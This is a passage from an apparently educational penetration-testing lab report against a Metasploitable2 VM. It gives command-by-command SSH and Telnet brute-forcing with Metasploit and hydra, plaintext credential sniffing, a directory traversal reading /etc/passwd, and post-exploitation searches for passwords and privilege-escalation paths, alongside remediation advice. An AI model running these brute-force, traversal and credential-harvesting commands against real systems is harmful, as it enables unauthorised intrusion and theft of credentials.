4. `set RPORT 22`
5. `set USER_FILE /root/ssh_users.txt`
6. `set PASS_FILE /root/ssh_pass.txt`
7. `set THREADS 10`
8. `set STOP_ON_SUCCESS true`
9. `run`
10. *One-line per key step:*
    - `use ...ssh_login` — select the SSH login scanner module.
    - `set RHOSTS`/`set RPORT` — point the module at the target host and port.
    - `set USER_FILE`/`set PASS_FILE` — supply username/password wordlists.
    - `set THREADS` — speed up scanning with parallel connections.
    - `set STOP_ON_SUCCESS true` — stop when credentials found.
    - `run` — execute the scan.

Representative success line: `[+] TARGET_IP:22 - Success: 'msfadmin:msfadmin'`

B — Verify using native SSH (handle legacy host-key problems)

If credentials found (e.g., `msfadmin:msfadmin`), connect:

3. Modern SSH client may reject old host-key algorithms. Use:
4. `ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@TARGET_IP`

   One-line: Force acceptance of legacy `ssh-rsa` host key algorithms when connecting interactively.

5. Password prompt: enter `msfadmin` (or discovered password).
   One-line: Log in and obtain a remote shell as the discovered user.

C — Alternative tools (if desired)

- **hydra** example (quick noisy brute-force):
- `hydra -L ~/ssh_users.txt -P ~/ssh_pass.txt ssh://TARGET_IP -t 4`

  One-line: Fast threaded SSH password guessing using Hydra.

Post-Exploitation (once you have a shell)

Goal: confirm access, collect system information, identify privilege escalation paths.

Interactively on the target shell (commands to run and one-line explanation each):

- `whoami` — show current user.
- `id` — list user and group IDs.
- `pwd` — show current working directory.
- `ls -la` — show files & permissions in current directory.
- `uname -a` — display kernel and OS details (useful for local exploit discovery).
- `ip a` — list network interfaces and IP addresses.
- `cat /etc/issue` or `cat /etc/os-release` — display OS/version info.
- `sudo -l` — check whether current user is allowed to run commands via sudo (privilege escalation hint).
- `find / -perm -4000 -type f 2>/dev/null | head` — quick SUID binary scan (possible escalation).
- `grep -R "password" /home /var/www -n 2>/dev/null` — search for credentials in common places (web files/home directories).

One-line summary of intent: These commands verify the level of access, gather system info, and search for privilege escalation opportunities.

Evidence capture (for your report)

- Save Metasploit output / terminal transcripts (e.g., `script ssh_msf.log` or copy-paste msfconsole transcript).
- Take screenshots of a successful SSH session showing `whoami`/`id`.
- Log `ssh -v` or connection attempt output if troubleshooting host-key negotiation.

Cleanup & Remediation (lab hygiene)

1. `exit` — close the SSH shell session.
   One-line: Terminate the interactive session.
2. In Metasploit: `sessions -l` then `sessions -k <id>` if a meterpreter/session exists.
   One-line: List and kill active msf sessions.
3. Revert VM to `pre-ssh` snapshot (recommended).
   One-line: Restore a clean target image to remove any changes and uploaded artifacts.
4. Note remediation advice for report:
   - Use strong, unique passwords; disable password auth where possible (use key-based auth).

6.3 Telnet (Plaintext Credentials & Brute-Force)

Scope: This section describes Telnet in the Metasploitable2 lab (attacker = `ATTACKER_IP`, target = `TARGET_IP`). Use snapshots and isolated networks; do **not** include real IPs in reports.

Definition & Purpose

Telnet is a legacy remote terminal protocol that provides interactive, plaintext terminal access to remote systems.
Purpose historically: remote administration and device access before encrypted alternatives (SSH) became standard.

Vulnerability Details (Why Telnet is taught in this lab)

- Telnet transmits usernames and passwords in **cleartext** — trivial to capture on the network (Wireshark/tshark).
- Metasploitable2 often runs a Telnet daemon with **default/weak credentials** (e.g., `msfadmin:msfadmin`) to demonstrate credential capture and replay.
- Real-world relevance: shows why plaintext auth is insecure and how easy it is for attackers to intercept credentials on poorly segmented networks.

Lab Flow — Snapshot → Recon → Enumeration → Exploitation → Post-exploitation → Cleanup

Preparatory step — Snapshot

- **Action:** Take a VM snapshot on the target named `pre-telnet`.
- **Why:** Restore a pristine state after testing and for repeatable demos.

Recon

Goal: confirm Telnet is running and identify service banner/version.

1. `nmap -Pn TARGET_IP -p 23 -sV -oN telnet-recon.txt`
   One-line: Scan port 23 with version detection and save results.
2. `nc -vn TARGET_IP 23`
   One-line: Connect to port 23 to quickly view the Telnet banner.

What to look for: `23/tcp open telnet` and any banner text indicating `telnetd` or OS/version.

Enumeration

Goal: prepare wordlists and gather any visible login prompts or banners.

1. Create the username list (reuse from SSH or create new):

```
cat > ~/telnet_users.txt <<'USERS'
msfadmin
root
admin
user
USERS
```

   One-line: Minimal username list for brute-force.

8. Create the password list:

```
cat > ~/telnet_pass.txt <<'PASSES'
 msfadmin
 password
 123456
 toor
 PASSES
```

   One-line: Minimal password list for the demo.

15. (Optional) `telnet TARGET_IP 23` — observe login prompt format for automation compatibility.
    One-line: Manual check to see how prompts appear (useful for expect/hydra).

Exploitation (Credential discovery & plaintext capture)

Warning: Only perform on your isolated lab VM. Telnet brute-force on public networks is illegal.

A — Brute-force using Metasploit auxiliary scanner

1. `sudo msfconsole -q`
   One-line: Start Metasploit quietly.
2. `use auxiliary/scanner/telnet/telnet_login`
3. `set RHOSTS TARGET_IP`
4. `set RPORT 23`
5. `set USER_FILE /root/telnet_users.txt`
6. `set PASS_FILE /root/telnet_pass.txt`
7. `set THREADS 10`
8. `set STOP_ON_SUCCESS true`
9. `run`
10. *One-line per key step:*
    - `use ...telnet_login` — select Telnet login scanner.
    - `set RHOSTS`/`set RPORT` — target host and port.
    - `set USER_FILE`/`set PASS_FILE` — provide wordlists.
    - `set THREADS` — parallelize attempts.
    - `set STOP_ON_SUCCESS true` — stop after valid creds found.
    - `run` — start the scan.

Representative success line: `[+] TARGET_IP:23 - Success: 'msfadmin:msfadmin'`

B — Verify with native telnet client

3. `telnet TARGET_IP 23`
   One-line: Start an interactive Telnet session.
4. At the prompts:
5. `login: msfadmin`
6. `Password: msfadmin`

   One-line: Provide discovered credentials to obtain a shell.

7. Run basic commands: `whoami`, `id`, `pwd`, `ls -la`.
   One-line: Confirm account and environment after login.

C — Demonstrate plaintext capture using tshark or Wireshark

1. Start capture on attacker (host-only / NAT interface) — e.g., using `tshark`:
2. `sudo tshark -i <iface> -f "tcp port 23" -w telnet_capture.pcap`

   One-line: Capture Telnet traffic to a pcap file (use your lab interface name).

3. While capture running, perform the Telnet login from the attacker or another host to trigger traffic.
   One-line: Generate observable plaintext credentials in capture.
4. Analyze capture to show cleartext credentials:
   - Open in Wireshark or:
   - `tshark -r telnet_capture.pcap -Y "telnet || tcp.port == 23" -V | sed -n '1,200p'`

     One-line: Filter/display Telnet packets and inspect payloads.

5. In Wireshark: right-click a Telnet packet → **Follow** → **TCP Stream** to reveal username/password and session content in plaintext.
   One-line: Visual demo of how credentials are exposed.

Post-Exploitation (once you have shell access)

Goal: validate what that account can do and look for escalation vectors.

Interactive commands to run on the Telnet shell:

- `whoami` — show current user.
- `id` — user and group ids.
- `pwd` — current working directory.
- `ls -la` — files and permissions.
- `uname -a` — kernel/OS info.
- `ip a` — network interfaces.
- `sudo -l` — check sudo rights.
- `grep -R "password" /home /var/www -n 2>/dev/null` — search for exposed credentials.

One-line summary: These commands confirm the scope of access and identify potential privilege escalation points.

Evidence capture (for your report)

- Save `tshark`/Wireshark PCAP file `telnet_capture.pcap`.
- Screenshot Wireshark **Follow TCP Stream** showing the plaintext login.
- Save msfconsole transcript or telnet terminal transcript showing successful login and `whoami`. Use `script telnet_session.log` to record a terminal session.
- Note filenames/time stamps for chain of custody in your documentation.

Cleanup & Remediation (lab hygiene)

1. `exit` — close Telnet shell.
   One-line: End interactive session.
2. In Metasploit: `sessions -l` and `sessions -k <id>` to kill any msf sessions.
   One-line: Terminate any framework sessions.
3. Stop packet capture and securely delete or archive the PCAP per lab policy.
   One-line: Stop `tshark` (`Ctrl+C`) and handle PCAP appropriately.
4. Revert VM to `pre-telnet` snapshot (recommended).
   One-line: Restore the clean image to remove any changes.
5. Remediation advice (to include in report):
   - Disable Telnet in production; use SSH with strong auth.
   - Use network segmentation and encryption; restrict management interfaces.
   - Monitor for Telnet footprint and block port 23 at network edge/firewalls.

6.4 HTTP (Apache 2.2.8 Default Pages & Directory Traversal)

Scope: This section focuses on the HTTP service running on Metasploitable2 (default Apache web server). Use snapshots and isolated networks. Replace IPs with placeholders `TARGET_IP`.

Definition & Purpose

HTTP (HyperText Transfer Protocol) is the foundation of web communication between clients (browsers) and servers.
Purpose: deliver web content (HTML pages, scripts, images) and enable interaction with web applications.

Vulnerability Details (Why HTTP is taught in this lab)

- Metasploitable2 runs **Apache 2.2.8** with default pages and weak configurations.
- Potential vulnerabilities demonstrated:
  - **Default pages** (e.g., `index.html`) revealing information about server/software.
  - **Directory traversal**: misconfigured server allows reading sensitive files (e.g., `/etc/passwd`) via crafted URLs.
  - Optional: **Outdated software** may allow exploits (e.g., old PHP/Apache CVEs).
- Real-world relevance: shows the importance of patching, secure configs, and input validation.

Lab Flow — Snapshot → Recon → Enumeration → Exploitation → Post-exploitation → Cleanup

Preparatory step — Snapshot

- **Action:** Take a VM snapshot on the target named `pre-http`.
- **Why:** Restore a clean state after testing.

Recon

Goal: detect HTTP service, version, and open directories.

1. `nmap -Pn TARGET_IP -p 80 -sV -oN http-recon.txt`
   One-line: Scan port 80 and detect Apache version.
2. Open in browser: `http://TARGET_IP/`
   One-line: Access the default web page to confirm service.
3. Optional banner grab using `curl`:
4. `curl -I http://TARGET_IP/`

   One-line: View HTTP headers, server info, and content-type.

What to look for: `Server: Apache/2.2.8 (Ubuntu)` or other metadata.

Enumeration

Goal: discover accessible directories and files.

1. Directory brute-force using `dirb`:
2. `dirb http://TARGET_IP/ /usr/share/wordlists/dirb/common.txt -o dirb_results.txt`

   One-line: Check for default or hidden directories/files.

3. Check for interesting files:
   - `/index.html`, `/manual/`, `/icons/`
   - Look for `.txt`, `.php`, `.bak` files that may expose info.
4. Optional: `nikto -h http://TARGET_IP/ -output nikto_http.txt`
   One-line: Automated scanner to identify server misconfigurations, outdated components, and potential vulnerabilities.

Exploitation

A — Directory Traversal (Manual)

1. Identify traversal point by appending `../` sequences to URLs:
2. `http://TARGET_IP/../../../../etc/passwd`

   One-line: Attempt to read sensitive files using relative paths.

3. Observe content in browser or via `curl`:
4. `curl http://TARGET_IP/../../../../etc/passwd`

   One-line: Check if server leaks system files.

Expected result: `/etc/passwd` contents displayed in the browser or terminal.

B — Exploit Default Pages

1. Access `http://TARGET_IP/manual/` or `http://TARGET_IP/icons/`
   One-line: Demonstrate exposed server documentation pages.
2. Identify potential usernames, scripts, or server info in default pages.
   One-line: Extract info useful for further attacks (e.g., web shell paths).

Post-Exploitation

Goal: understand the scope of compromise through HTTP.

- Commands/Actions to do after successful traversal:
  - `curl http://TARGET_IP/...` — download sensitive files.
  - Analyze default page content for credentials, system info, and hints for other services.
  - Optional: attempt local file inclusion if lab is configured for LFI testing.

One-line summary: Post-exploitation shows what information disclosure allows an attacker to plan next steps.

Evidence Capture

1. Take screenshots of:
   - Default Apache page (`http://TARGET_IP/`).
   - Directory traversal output (e.g., `/etc/passwd`).
   - `dirb`/`nikto` output highlighting exposed directories.
2. Save CLI results:
   - `dirb_results.txt`
   - `nikto_http.txt`
   - `curl` command outputs

One-line: Document all findings for your report.

Cleanup & Remediation

1. Restore VM snapshot (`pre-http`).
   One-line: Revert any changes or sensitive file accesses.
2. Delete temporary CLI outputs if necessary.
3. Remediation advice:
   - Remove default pages and manuals.
   - Disable directory listing (`Options -Indexes` in Apache config).
   - Keep server software updated (patch Apache 2.2.8 → latest).
   - Implement input validation to prevent traversal attacks.

7 — Additional Service Exploits (expanded notes)

7.1 Tomcat (WAR Upload / Manager)

- **What it is:** Java servlet container. Manager app can upload WARs (webapps).
- **Quick recon:**
  - `nmap -Pn TARGET_IP -p 8080 -sV --script=http-title -oN tomcat-recon.txt`
  - Browse `http://TARGET_IP:8080/` and `http://TARGET_IP:8080/manager/html`
- **Exploit (high level):** find default/weak manager creds → upload malicious WAR (web shell) → trigger remote code execution (RCE). Metasploit has `tomcat_mgr_deploy` modules.
- **Post-exploit checks:** `whoami`, `id`, list webroot (`ls /var/lib/tomcat*/webapps`), search for config files with DB creds.
- **Mitigation:** remove/disable default manager, enforce strong creds, limit manager to localhost/admin network, patch Tomcat.

7.2 distcc (Distributed C Compiler — RCE)

- **What it is:** Service to distribute C compilation jobs to remote hosts. Not intended for untrusted networks.
- **Quick recon:** `nmap -Pn TARGET_IP -p 3632 -sV -oN distcc-recon.txt`
- **Exploit (high level):** send a crafted distcc job containing shell commands (tooling/PoC exist) → daemon executes as local user.
- **Post-exploit checks:** run `id`, `ps aux | grep distcc`, check writable paths and cron; assess privilege level (distcc may run as a privileged user).
- **Mitigation:** bind to localhost or trusted IPs, firewall port 3632, upgrade/remove distcc on exposed hosts.

7.3 Samba (SMB) — Enumeration & usermap_script

- **What it is:** SMB/CIFS file and printer sharing on Linux via Samba.
- **Quick recon / enum:**
  - `nmap -Pn TARGET_IP -p 139,445 --script smb-* -oN smb-recon.txt`
  - `enum4linux -a TARGET_IP` and `smbclient -L //TARGET_IP -N`
- **Exploit (high level):** enumerate shares for writable/anonymous shares; `usermap_script` misconfig or vulnerable Samba versions may allow command execution or credential leakage. Metasploit has SMB modules for known CVEs.

- **Post-exploit checks:** list share contents, search for config files (`/etc/samba/`), harvest creds from files, attempt lateral movement with harvested creds.
- **Mitigation:** disable anonymous/writable shares, patch Samba, restrict SMB to trusted hosts, use access controls.

7.4 VNC (Remote Desktop)

- **What it is:** Remote graphical desktop protocol often protected by a simple password.
- **Quick recon:** `nmap -Pn TARGET_IP -p 5900-5905 -sV -oN vnc-recon.txt`
- **Exploit (high level):** connect with `vncviewer` and try default/weak passwords; use brute-force tools against VNC auth if permitted.
- **Post-exploit checks:** view desktop, open terminals, check user privileges, capture files shown on desktop (screenshots).
- **Mitigation:** require strong passwords, do not expose VNC to untrusted networks, use SSH tunneling/ACLs, enable encryption if available.

7.5 PostgreSQL (DB — Weak Credentials)

- **What it is:** Relational DB server (port 5432).
- **Quick recon / enum:** `nmap -Pn TARGET_IP -p 5432 -sV --script=pgsql* -oN pg-recon.txt`
- **Exploit (high level):** attempt default/weak creds (`postgres` / no password), then connect with `psql` or `metasploit auxiliary/scanner/postgres/postgres_login`. If logged in, dump DBs/tables or use `COPY` to write files if permitted.
- **Post-exploit checks:** `\l` to list DBs, inspect `pg_hba.conf`, look for stored credentials, check user privileges.
- **Mitigation:** enforce strong DB passwords, bind PostgreSQL to localhost, use firewall rules, apply least privilege for DB users.

8. Post-Exploitation and Analysis

Scope: Actions to take after successful exploitation in the Metasploitable2 lab: enumerate system, look for privilege escalation opportunities, collect evidence for reporting, and then safely clean up and restore the VM. Always work on snapshots and document everything.

8.1 System Enumeration Commands

Purpose: quickly gather facts about the system, accounts, network, services, installed software, and potential attack surface.

Run these on the compromised shell (one-line explains each):

- `whoami` — identify current user.
- `id` — show user and group IDs.
- `uname -a` — kernel and OS info (useful for exploit search).
- `cat /etc/os-release` or `cat /etc/issue` — distribution/version details.
- `hostname` — host name.
- `uptime` — system uptime and load.
- `ip a` or `ifconfig` — list network interfaces and IPs.
- `ss -tuln` or `netstat -tuln` — show listening ports and services.
- `ps aux --sort=-%mem | head` — running processes (top).
- `crontab -l 2>/dev/null` and `ls -la /etc/cron.*` — scheduled tasks.
- `df -h` — disk usage.
- `mount` — mounted filesystems (check for writable/external mounts).
- `ls -la /home /root /var/www` — inspect user and web directories.
- `grep -R "password" /var/www /home /etc -n 2>/dev/null` — quick search for credentials (lab only).
- `cat /etc/passwd` and if readable `cat /etc/shadow` (shadow normally protected) — enumerate users.
- `sudo -l` — check sudo privileges for current user.
- `find / -perm -4000 -type f 2>/dev/null | head` — list SUID binaries (possible escalation vectors).
- `getent passwd` — alternate way to list accounts.
- `sshd -T 2>/dev/null | head` or `grep -i PermitRootLogin /etc/ssh/sshd_config` — SSH config checks.
- `dpkg -l` or `rpm -qa` — installed packages (depending on distro).
- `cat /etc/mtab` — mounted FS details (can reveal network mounts/credentials).

Tip: Log command outputs to files (e.g., `whoami > /tmp/whoami.txt`) so you can transfer and include in your report.

8.2 Privilege Escalation Observation

Purpose: identify opportunities and evidence that privilege escalation is possible (SUIDs, weak sudo, kernel exploits, world-writable files, credentials).

Checks and commands:

- `sudo -l` — lists allowed sudo commands for current user (immediate check for escalation).
- `find / -perm -4000 -user root -type f 2>/dev/null` — comprehensive SUID binary listing.
- `ls -la /etc/sudoers /etc/sudoers.d 2>/dev/null` — check sudo policies.
- `uname -a` + `searchsploit <kernel/version>` (on attacker) — check for kernel exploits matching kernel.
- `ps aux | grep -i <interesting_service>` — check for services running as root that may be exploited.
- `find / -writable -type f -name "*.sh" 2>/dev/null` — world-writable scripts that could be abused.
- `cat /var/log/auth.log | tail -n 50` (if readable) — look for credential reuse or cron job logs.
- `ls -la /var/www | grep config` and `grep -R "DB_PASS" /var/www -n 2>/dev/null` — web app config leaking DB creds.
- `strings /usr/bin/* 2>/dev/null | grep -i password` (careful) — search binaries for embedded strings (lab only).

Observation notes for report: for each potential vector, include the exact command output snippet, the impact (low/medium/high), and suggested remediation (e.g., remove SUID, fix sudoers, patch kernel, remove world-writable files).

8.3 Data Collection and Evidence Handling

Purpose: collect required artifacts for reporting/analysis while preserving integrity and chain of custody. Keep actions minimal, document everything, and compute hashes.

General process (lab-focused, forensics-aware):

1. **Create evidence directory on attacker:**
2. `mkdir -p ~/evidence/TARGET_IP_YYYYMMDD`

   One-line: central place for evidence files.

3. **Record interactive sessions:**
    - On attacker before interacting: `script -q ~/evidence/TARGET_IP_YYYYMMDD/terminal_session.log`
    - Run your commands; then `exit` to stop recording.
      One-line: `script` captures full terminal transcript for reproducibility.
4. **Collect text artifacts from the target** (prefer pulling to attacker rather than saving locally on target):
    - If you have SSH/file access:
    - `scp user@TARGET_IP:/etc/passwd ~/evidence/TARGET_IP_YYYYMMDD/etc_passwd.txt`

      One-line: securely copy files from target to attacker for analysis.

    - If you only have a shell (meterpreter): use meterpreter `download /etc/passwd /root/evidence/...` or `cat /etc/passwd` and copy/paste into a local file.
      One-line: download relevant files (configs, logs, web app files, crontabs).
5. **Collect process & network state:**
6. `ssh user@TARGET_IP 'ps aux' > ~/evidence/TARGET_IP_YYYYMMDD/ps_aux.txt`
7. `ssh user@TARGET_IP 'ss -tuln' > ~/evidence/TARGET_IP_YYYYMMDD/ss_listening.txt`

   One-line: capture running processes and listening ports snapshots.

8. **Create compressed archive of collected artifacts:**
9. `tar -czvf ~/evidence/TARGET_IP_YYYYMMDD.tar.gz -C ~/evidence TARGET_IP_YYYYMMDD`

   One-line: compress evidence for transport/storage.

10. **Compute cryptographic hashes for integrity:**
11. `sha256sum ~/evidence/TARGET_IP_YYYYMMDD.tar.gz > ~/evidence/TARGET_IP_YYYYMMDD.sha256`

    One-line: record hash to prove integrity of evidence package.

12. **Optional full disk / filesystem image (VM lab):**
    - If you want a forensic image: from the hypervisor or attacker (preferred), image the virtual disk (do it offline if possible):
    - `dd if=/dev/sdX of=/mnt/evidence/TARGET_IP_disk_image.dd bs=4M conv=sync,noerror`
    - `sha256sum /mnt/evidence/TARGET_IP_disk_image.dd > /mnt/evidence/TARGET_IP_disk_image.sha256`

      One-line: produce a bit-for-bit image and hash it (do on hypervisor or while VM is offline to avoid changes).

Chain of custody & documentation: For each artifact capture the following in a simple log file (`collection_log.txt`):

- Date/time (use ISO format) of capture.
- Who collected it (operator).
- Command used to collect.
- File name and destination.
- SHA256 hash of file.
- Brief reason (what it is and why collected).

Example log entry (one line):

```
2025-10-05T10:15:00Z | operator_name | scp /etc/passwd |
~/evidence/.../etc_passwd.txt | sha256:abcdef... | contains user list
```

Storage & access: Keep evidence directory read-only after collection if possible (chmod 444 or move to an immutable storage). Keep backups of hashes and logs.

8.4 Snapshot Reversion and Cleanup

Purpose: return the lab target to a known-clean state and remove any artifacts or listeners used by the attacker.

Steps:

1. **Kill active sessions & listeners on attacker:**
    - Metasploit: `sessions -l` then `sessions -k <id>` to kill meterpreter/shell sessions.
    - Netcat listeners: find with `ps aux | grep nc` and `kill <pid>`.
      ensure no remote interactive sessions remain.
2. **Remove files uploaded to the target (if applicable):**
    - Example (if you uploaded `webshell.jsp`):
    - `ssh user@TARGET_IP 'rm -f /var/lib/tomcat*/webapps/webshell.jsp'`

      remove any artifacts you placed on the target (or rely on snapshot revert).

3. **Stop packet captures on attacker:** `Ctrl+C` or `pkill tshark` and securely store PCAPs in evidence directory.
   stop captures and handle PCAPs per evidence handling step.
4. **Document cleanup actions in report/log:** add entries to `collection_log.txt` that show what you removed and when.

5. **Revert the target VM to the pre-exploit snapshot:**
    - In VirtualBox/VMware/hypervisor UI: select VM → Snapshots → Restore `pre-<service>` snapshot.
    - Or use CLI tooling (e.g., `VBoxManage snapshot <vmname> restore <snapshot_uuid>`).
      restore a pristine VM to remove any changes and uploaded files.
6. **Verify restoration:** power on VM, run a quick recon from attacker:

```
7. nmap -Pn TARGET_IP -p 21,22,23,80,8080 -sV
```

   confirm services back to expected baseline.

8. **Secure evidence & clear local temp files:** move `~/evidence/TARGET_IP_YYYYMMDD` to long-term storage and remove any sensitive temp files from attacker machine:

```
9. rm -rf /tmp/some_temp_file
10.  chmod -w ~/evidence/... && mv ~/evidence .../archive_location/
```

   ensure evidence stored and host cleaned.

9. Findings & Remediation

Scope: concise, actionable summary of what was discovered during the Metasploitable2 lab (attacker = `ATTACKER_IP`, target = `TARGET_IP`). Use this for your report's Findings & Remediation section.

9.1 Summary of Vulnerabilities Found (concise)

Each line: *Service — Key weakness — Evidence / effect.*

1. **FTP (vsftpd 2.3.4)** — backdoor in this version allows remote shell. *Evidence:* service banner shows vsftpd 2.3.4; msf exploit opened interactive shell. *Impact:* remote code execution, possible full compromise.
2. **SSH (OpenSSH old / weak creds)** — default/weak credentials and legacy host-key algorithms. *Evidence:* `msfadmin:msfadmin` discovered via ssh_login; needed ssh-rsa options to connect. *Impact:* unauthorized remote access, lateral movement.
3. **Telnet (telnetd)** — plaintext authentication, default credentials. *Evidence:* telnet login yielded shell; Wireshark capture shows cleartext credentials. *Impact:* credential disclosure and remote access.
4. **HTTP / Apache (2.2.8, default pages)** — information disclosure and directory traversal possible. *Evidence:* default pages, `curl`/dirb discovered exposed files; `/etc/passwd` readable via traversal. *Impact:* sensitive info disclosure, foothold escalation.
5. **Tomcat (manager / WAR upload)** — default/weak manager or exposed manager interface allowing WAR upload. *Evidence:* manager UI reachable; known war-deploy RCE vector. *Impact:* remote code execution within Tomcat context, possible pivot.

6. **distcc** — unauthenticated remote command execution via crafted compile jobs. *Evidence:* distcc port open; known PoC applicable. *Impact:* arbitrary command execution, privilege escalation potential.
7. **Samba (SMB)** — misconfigured/writable shares and vulnerable features (usermap_script). *Evidence:* enum4linux/smbclient output; writable or anonymous shares possible. *Impact:* data disclosure, remote code execution in some configs.
8. **VNC** — weak/default password or exposed VNC service. *Evidence:* VNC port open on scan; connection possible with common creds. *Impact:* GUI access, potential root actions if session privileged.
9. **PostgreSQL** — default/weak DB credentials and remote accessibility. *Evidence:* port 5432 open; default login attempts succeeded in lab. *Impact:* data exfiltration, credential harvesting, pivoting.

9.2 Potential Impact & Mitigation Steps (prioritized, short)

High Priority (Immediate action)

- **Remote Code Execution (FTP vsftpd, Tomcat WAR, distcc)**
  - *Impact:* Full system compromise / root access.
  - *Mitigation:* Immediately remove/patch affected services; if in production isolate host from network; apply vendor patches or upgrade to fixed versions; block relevant ports at perimeter.
  - *Short config action:* disable vulnerable service (`systemctl stop|mask`), remove service package or bind to localhost, apply firewall rule (DROP port 21/8080/3632).
- **Plaintext / Weak Authentication (Telnet, weak SSH, VNC)**
  - *Impact:* Credential theft, unauthorized access.
  - *Mitigation:* Disable Telnet; enforce SSH key-based auth and disable password auth (`PasswordAuthentication no`); enforce strong VNC passwords or use SSH tunnels only; enable MFA where possible.
  - *Short config action:* update `/etc/ssh/sshd_config`, remove telnet package, firewall block port 23/5900 externally.

Medium Priority

- **Information Disclosure (HTTP default pages, directory traversal)**
  - *Impact:* Attackers gain reconnaissance and credentials.
  - *Mitigation:* Remove default pages and manuals; disable directory listing (`Options -Indexes`); fix input handling (validate/normalize paths); apply WAF rules to block traversal patterns.
  - *Short config action:* sanitize webroot, secure config files, patch Apache/PHP.

- **SMB Misconfig / Writable Shares (Samba)**
  - *Impact:* Data exposure, credential harvesting, possible code execution.
  - *Mitigation:* Disable anonymous and writable shares; enforce least privilege file permissions; patch Samba; restrict SMB to internal trusted networks.
  - *Short config action:* update `smb.conf`, restart service, use ACLs.
- **Database Exposure (PostgreSQL)**
  - *Impact:* Data leakage, credential compromise.
  - *Mitigation:* Bind DB to localhost or trusted subnets; enforce strong DB passwords; use network controls to block 5432 externally; review `pg_hba.conf`.
  - *Short config action:* set strong passwords, restrict connections.

Low Priority (but important)

- **General hygiene issues (default credentials, outdated packages)**
  - *Mitigation:* Perform credential inventory; rotate defaults; apply patches regularly; implement configuration management and vulnerability scanning; enable centralized logging and alerting.

Actionable Remediation Checklist (copy-paste)

- Inventory exposed services: `nmap -Pn TARGET_IP -p- -sV` and prioritize RPC/RCE services.
- Immediately disable Telnet and unnecessary services: `sudo apt remove telnetd` / `systemctl disable --now telnet`.
- Enforce SSH best-practices: edit `/etc/ssh/sshd_config` — `PermitRootLogin no`, `PasswordAuthentication no`, restart sshd.
- Patch or remove vulnerable packages: `apt update && apt upgrade` (or vendor-specific upgrades).
- Harden web server: remove `/manual`, set `Options -Indexes`, sanitize inputs.
- Lock down management interfaces (Tomcat manager) — bind to localhost, require strong creds, network ACLs.
- Firewall rules: block unused external ports (e.g., 21,23,3632,5900,8080,5432) on perimeter.
- Implement intrusion detection/monitoring: enable IDS signatures for vsftpd backdoor/banner and brute-force alerts.
- Rotate and retire default credentials; enforce password policy and MFA where applicable.
- Establish periodic automated scanning and patch management (weekly or per policy).

---

10. Lessons Learned & Conclusion

This section wraps up the Metasploitable2 lab experience, emphasizing learning, skill development, and ethical awareness.

10.1 Key Takeaways (Concise)

1. **Understanding Vulnerabilities:** Practical experience with real-world vulnerabilities (FTP backdoor, weak credentials, RCE, misconfigurations).
2. **Recon → Exploit → Post-Exploit Workflow:** Learned the systematic methodology: scanning → enumeration → exploitation → post-exploitation → cleanup.
3. **Importance of Patch Management & Hardening:** Observed how outdated services and default configurations can be exploited easily.
4. **Evidence Handling:** Importance of careful data collection during post-exploitation for reporting without leaving traces.
5. **Ethical Awareness:** Reinforced responsible usage of penetration testing tools within controlled environments.

10.2 Skills Developed

- **Technical Skills:**
  - Service enumeration using Nmap, Netcat, Enum tools.
  - Exploitation using Metasploit and manual methods.
  - Post-exploitation analysis: system enumeration, privilege observation, and data collection.
  - Basic firewall and service hardening awareness.
- **Analytical & Reporting Skills:**
  - Summarizing vulnerabilities, assessing impact, and documenting findings clearly.
- **Problem-Solving:**
  - Adapting to obstacles (e.g., switching network modes to access Telnet).

10.3 Future Scope and Ethical Reflection

1. **Future Scope:**
    - Extend learning to cloud environments, web apps, and IoT devices.
    - Implement automated vulnerability scanning and reporting frameworks.
    - Integrate ML/AI techniques for smarter detection and mitigation.
2. **Ethical Reflection:**
    - Reinforced the principle of **legal, controlled, and responsible penetration testing**.
    - Awareness that real-world exploitation carries legal and organizational risks if performed without permission.
    - Emphasized cleanup and restoring systems to avoid leaving traces after testing.

The lab reinforced a structured, hands-on approach to penetration testing, bridging theoretical knowledge with practical skills, while highlighting ethical responsibilities and the need for continuous learning in cybersecurity.